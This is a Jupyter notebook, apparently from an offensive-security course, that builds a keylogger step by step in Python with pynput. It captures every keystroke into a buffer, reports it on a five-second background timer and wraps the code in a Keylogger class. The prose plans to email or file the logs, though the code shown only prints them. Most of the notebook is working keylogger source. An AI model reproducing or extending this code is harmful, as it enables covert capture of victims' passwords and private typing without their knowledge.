Writing a LOCAL keylogger using pynput

In [1]:
```
#!/usr/bin/env python
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()
```

```
---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_16920/1513240033.py in <module>
      1 #!/usr/bin/env python
----> 2 import pynput.keyboard
      3
      4 def process_key_press(key):
      5     print(key)

ModuleNotFoundError: No module named 'pynput'
```

The issue with our current code is that every key strike will send an email or write to a file which is not smart as this will be noisey.

We can set a time frame (1 minute, 2 minutes, 1 hour) and log all keystrikes to one varibale allowing us to email the variable or write the variable to a file, so first lets set the variable 'log'

In [ ]:
```
```

In [5]:
```
#!/usr/bin/env python
import pynput.keyboard

log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + " " + str(key) + " "
    print(log)


keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()
```

```
---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_16920/3143485826.py in <module>
      1 #!/usr/bin/env python
----> 2 import pynput.keyboard
      3
      4 log = ""
```

```
      5

ModuleNotFoundError: No module named 'pynput'
```

Now, we want to report the 'log' variable (which stores all keystrokes and special characters) to an email or a file every set period of time

We will have to utilize threading.

Report Function:

Run in the background

Don’t interrupt program execution

Every x seconds, sends report

In [6]:

```
#!/usr/bin/env python
import pynput.keyboard
import threading

log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + " " + str(key) + " "


def report():
    global log
    print(log)
    log = ""
    timer = threading.Timer(5, report)
    timer.start()


keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    report()
    keyboard_listener.join()
```

```
---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_16920/1603396285.py in <module>
      1 #!/usr/bin/env python
----> 2 import pynput.keyboard
      3 import threading
      4
      5 log = ""

ModuleNotFoundError: No module named 'pynput'
```

Chapter 115

Introduction Object Oriented Programming

Keylogger Classes

Way of modeling program (blueprint)

Logically group functions and data

Makes code more readable

More reusable

Separate implementation from usage (encapsulation)

Easier to extend

Easier to maintain

In [7]:

```
#!/usr/bin/env python
import pynput.keyboard
import threading

log = ""

class Keylogger:
    def process_key_press(self, key):
        global log
        try:
            log = log + str(key.char)
        except AttributeError:
            if key == key.space:
                log = log + " "
            else:
                log = log + " " + str(key) + " "

    def report(self):
        global log
        print(log)
        log = ""
        timer = threading.Timer(5, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()
```

```
---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_16920/3651277231.py in <module>
      1 #!/usr/bin/env python
----> 2 import pynput.keyboard
      3 import threading
      4
      5 log = ""

ModuleNotFoundError: No module named 'pynput'
```

Code will clearly not work without pynput installed, tested on Kali Linux VM, sucess.

In [ ]: